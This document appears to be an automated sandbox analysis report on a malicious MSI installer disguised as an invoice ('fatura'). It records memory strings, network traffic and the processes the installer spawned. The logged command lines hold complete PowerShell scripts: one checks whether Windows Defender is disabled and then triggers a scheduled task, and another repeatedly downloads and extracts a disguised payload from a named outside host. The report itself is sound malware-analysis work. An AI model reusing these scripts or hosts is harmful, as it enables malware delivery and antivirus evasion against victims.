Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152067238.0000454400964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150973160.000045440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/api/main.min.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/chatsupport/chatsupport_button_v2.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/service/lazy.min.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/
Source: chrome.exe, 00000009.00000003.2431556890.0000454402C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432826445.00004544018C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431515030.0000454402D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431781592.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432880138.00004544018D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166448113.0000454402ADC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432729827.00004544019D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/;report-uri
Source: chrome.exe, 00000009.00000002.4166448113.0000454402ADC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/ED
Source: chrome.exe, 00000009.00000003.2431556890.0000454402C8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432826445.00004544018C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431515030.0000454402D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431781592.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432880138.00004544018D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2432729827.00004544019D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/support/content/
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/support/content/;report-uri
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/feedback/client/web/live/
Source: chrome.exe, 00000009.00000002.4166632530.0000454402B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/surveys/resources/prod/js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/surveys/resources/prod/js/survey/
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000009.00000002.4149143973.0000454400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1815379189.000045440064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149992962.0000454400658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000009.00000002.4150928544.000045440077C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155405837.0000454400C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.googleapis.com/s/player/03dbdfab/www-widgetapi.vflset/www-widgetapi.js
Source: chrome.exe, 00000009.00000002.4153290935.0000454400AAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-met46.1mp3.F
Source: chrome.exe, 00000009.00000003.2432993143.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167236763.0000454402C9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2461423665.0000454400354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org
Source: chrome.exe, 00000009.00000003.2432993143.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152474216.00004544009EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2259857905.0000454400F69000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159039149.0000454400FB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256221864.000045440242C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256624760.000045440283C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2557822147.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2461423665.0000454400354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/
Source: chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159039149.0000454400FB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/E
Source: chrome.exe, 00000009.00000002.4170070134.000057CC002ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatur
Source: chrome.exe, 00000009.00000003.1848250489.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168301768.000048FC00238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4171599088.00006B5800234000.00000004.00001000.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153195990.0000454400A94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4161460453.00004544017C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147379748.000045440015C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4143697041.000002B1D06C0000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4169456523.000057CC00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Source: chrome.exe, 00000009.00000002.4172007935.00006B5800294000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html0
Source: chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html?pping
Source: chrome.exe, 00000009.00000002.4156070343.0000454400D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlC
Source: chrome.exe, 00000009.00000002.4168301768.000048FC00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlH
Source: chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlIdentificando
Source: chrome.exe, 00000009.00000002.4156631900.0000454400DD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.htmlr
Source: chrome.exe, 00000009.00000002.4150671322.0000454400720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/favicon.ico
Source: chrome.exe, 00000009.00000002.4150671322.0000454400720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/favicon.icop3pA
Source: chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157744261.0000454400ED0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org:443

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443

Source: unknown	HTTPS traffic detected: 185.15.58.240:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.134.82.79:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\3ffeef.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFFE9.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI48.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI68.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5C6353ED-1D1D-4B1D-98DF-773281977790}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC7.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI125.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI2950.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI3F88.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI6532.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI8A5E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA47F.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID39E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIB69.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4E2F.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI9A6C.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI124C.tmp	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSIFFE9.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0299B8B0	3_2_0299B8B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_0299B8A1	3_2_0299B8A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0363CFB0	13_2_0363CFB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0363119D	13_2_0363119D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0363CFA0	13_2_0363CFA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08E75478	13_2_08E75478
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0419DD38	19_2_0419DD38
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0419DD18	19_2_0419DD18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_07F54990	19_2_07F54990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B2CF90	23_2_04B2CF90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_04B2CF71	23_2_04B2CF71
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 31_2_08585478	31_2_08585478
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_0426BA30	36_2_0426BA30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_0426BA2B	36_2_0426BA2B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_0426BA11	36_2_0426BA11
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 36_2_08273EA0	36_2_08273EA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 46_2_046CF390	46_2_046CF390
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 50_2_04B10A75	50_2_04B10A75
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 50_2_04B10A65	50_2_04B10A65

Source: classification engine

Classification label: mal100.troj.expl.evad.winMSI@90/218@20/10

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\CML3F72.tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3808:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7356:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3612:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5168:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4284:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7320:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1396:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6824:120:WilError_03

Source: C:\Windows\System32\msiexec.exe

File created: C:\Users\user\AppData\Local\Temp\MSIffdb6.LOG

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: chrome.exe, 00000009.00000002.4149992962.000045440065D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));

Source: Fatura227Pendente576.pdf674.msi	Virustotal: Detection: 31%
Source: Fatura227Pendente576.pdf674.msi	ReversingLabs: Detection: 23%

Source: unknown	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\Fatura227Pendente576.pdf674.msi"
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding C85DA56207AAF23DFEFCC42BBFF0E5E4
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss143.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\ShowUpdateScreen.ps1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss2970.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://yqvn-6391824-metaflux-xytrmnwl-246.1mp3.org/fatura/fatura.html
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1956,i,12467281567636265380,10636997337395196544,262144 /prefetch:8
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss3FBB.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $loopCompleted = $false for ($i = 0; $i -lt 3; $i++) { Start-Sleep -Seconds 60 # Verifica as chaves do Registro $keyPath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' $disableAntiSpyware = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiSpyware' -ErrorAction SilentlyContinue).DisableAntiSpyware $disableAntiVirus = (Get-ItemProperty -Path $keyPath -Name 'DisableAntiVirus' -ErrorAction SilentlyContinue).DisableAntiVirus # Se uma das chaves n o existir ou n o tiver valor 1, sai do loop e define que o loop completou if ($disableAntiSpyware -ne 1 -or $disableAntiVirus -ne 1) { $loopCompleted = $true break } } # Se o loop tiver sido interrompido, executa a tarefa agendada ATD if ($loopCompleted) { Start-ScheduledTask -TaskName 'ATD' Write-Output 'Tarefa agendada ATD executada com sucesso.' } }"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss6568.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pss8A88.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Temp\pssA5E4.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "& { $folderPath = 'C:\LocalNow' $fileUrl = 'https://qsif-9432751-neurallink-bwlprtyx-099.computador-hardware.net/simples/rosa.png' $downloadedFile = Join-Path $folderPath 'rosa.png' $zipFile = Join-Path $folderPath 'rosa.zip' $extractedFolder = Join-Path $folderPath 'Extracted' while ($true) { Start-Sleep -Seconds 60 if (!(Test-Path -Path $folderPath)) { Write-Output 'Pasta LocalNow n o encontrada. Aguardando nova verifica o.' continue } # Verifica se existe algum arquivo DLL na pasta $dllFiles = Get-ChildItem -Path $folderPath -Filter *.dll -Recurse -ErrorAction SilentlyContinue if ($dllFiles -and $dllFiles.Count -gt 0) { Write-Output 'Arquivo DLL encontrado: $($dllFiles[0].Name)' break # Sai do loop while } Write-Output 'Arquivo DLL n o encontrado. Reiniciando o processo.' # Limpa a pasta antes de novo download try { Get-ChildItem -Path $folderPath -Recurse \| Remove-Item -Force -Recurse -ErrorAction Stop # Download e extra o Invoke-WebRequest -Uri $fileUrl -OutFile $downloadedFile -ErrorAction Stop Rename-Item -Path $downloadedFile -NewName $zipFile -ErrorAction Stop Expand-Archive -Path $zipFile -DestinationPath $extractedFolder -Force -ErrorAction Stop Write-Output 'Processo de extra o completado com sucesso.' } catch { Write-Output 'Erro durante o processo: $($_.Exception.Message)' Start-Sleep -Seconds 30 # Espera antes de tentar novamente } } exit # Encerra o script ap s sair do loop }"
